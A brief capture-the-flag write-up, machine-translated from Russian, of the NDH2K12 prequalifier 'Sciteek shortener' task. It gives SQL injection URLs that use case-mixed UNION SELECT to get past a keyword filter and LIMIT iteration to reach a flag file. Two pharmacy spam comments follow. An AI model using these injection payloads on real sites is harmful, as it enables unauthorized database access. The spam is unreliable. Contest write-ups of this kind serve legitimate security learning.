Лаборатория NDH2K12 Prequals - Sciteek shortener

BeLove
, 26 марта 2012

The whole task is reduced to two points:

  1. Find SQL-injection
  2. Unleash, bypassing WAF

First point found arekusux, telling the conference:

sci.nuitduhack.com/sa' or '1' ='1

 

The most common syntax in this case, and script redirects to google (respectively is - the first entry in the database).

Next, if you use a valid syntax with union or UNION script always gave an error, no matter how many of columns used.

As it turns out, is just a slice of key words in any of the registers (simple WAF). As a result, the injection could be performed as follows:

http://sci.nuitduhack.com/sa' UnION SELeCT USER () -- - (the table have just one column)

Iterate ...

http://sci.nuitduhack.com/sa' or 1=1 LIMIT 1,1 -- -

http://sci.nuitduhack.com/sa' or 1=1 LIMIT 2,1 -- -

...

http://sci.nuitduhack.com/sa' or 1 =1 LIMIT 7,1 -- -

And the seventh link leads to a key http://sci.nuitduhack.com/mMVzJ8Qj/flag.txt

 

b92b5e7094c7ffb35a526c9eaa6fab0a

2 комментария:

  1. ChasTume
       #   13:55, 21 мая 2017
    Azithromycin 1 Gram Oral Packet Mail Order Cialis Zithromax For Bronchitis Propecia Forehead Some Generic Deltasone In Usa Commander Viagra En Ligne Viagra Hausarzt Oder Urologe Zoloft Online Acheter Du Cytotec En Ligne Cheap Clomid In The Usa Cialis Professional Worldwide Zentel Usa With Overnight Delivery Buy Synthroid Cheap Cialis Online Usa Cheap Cialis Super Active buy accutane online fast delivery Generic Of Propecia Pastillas Viagra Venta Viagra For Sale In The Usa Generic Zoloft Pricing Viagra Vente Libre Canada Tamoxifen Online Uk Price Of Viagra Propecia Desventajas Viagra Kaufen Cialis Bestellen Cheap Zithromax Pill Where To Buy Hormonin Tablets Levitra Coupon Buy Propranolol Inderal USA Cialis Online Drugstore Free Shipping Clobetasol Internet Zoloft Price Viagra Sans Ordonnance Belgique Ampicillin Zoloft Prices Viagra Online Dogana Cialis Viagra Ou Viagra Pill What Does Cephalexin Look Like Pillole Cialis Misoprostol Tablets Viagra Achat 10 Pilule Zoloft For Sale Order Cialis Pills Can You Drink Alchol Wiht Amoxicillin Propecia Giudizi Cialis Free Trial Can Keflex Cause A Yeast Infection Viagra Prix Au Maroc Kamagra Order Cialis Pour Homme Isotretinoin 20mg For Sale How To Get Viagra Cialis Soft Italia Finasteride Tablet In Germany Order Zoloft Tablets Lasix Sales Farmaco Levitra 20 Mg Where To Buy Cialis Viagra Alle Erbe Naturale
  2. KelDuhCrory
       #   03:45, 20 июня 2017
    Injection Lioresal Intrathecal viagra Tadalnafil Aurochem

Авторизуйтесь, что бы оставить комментарий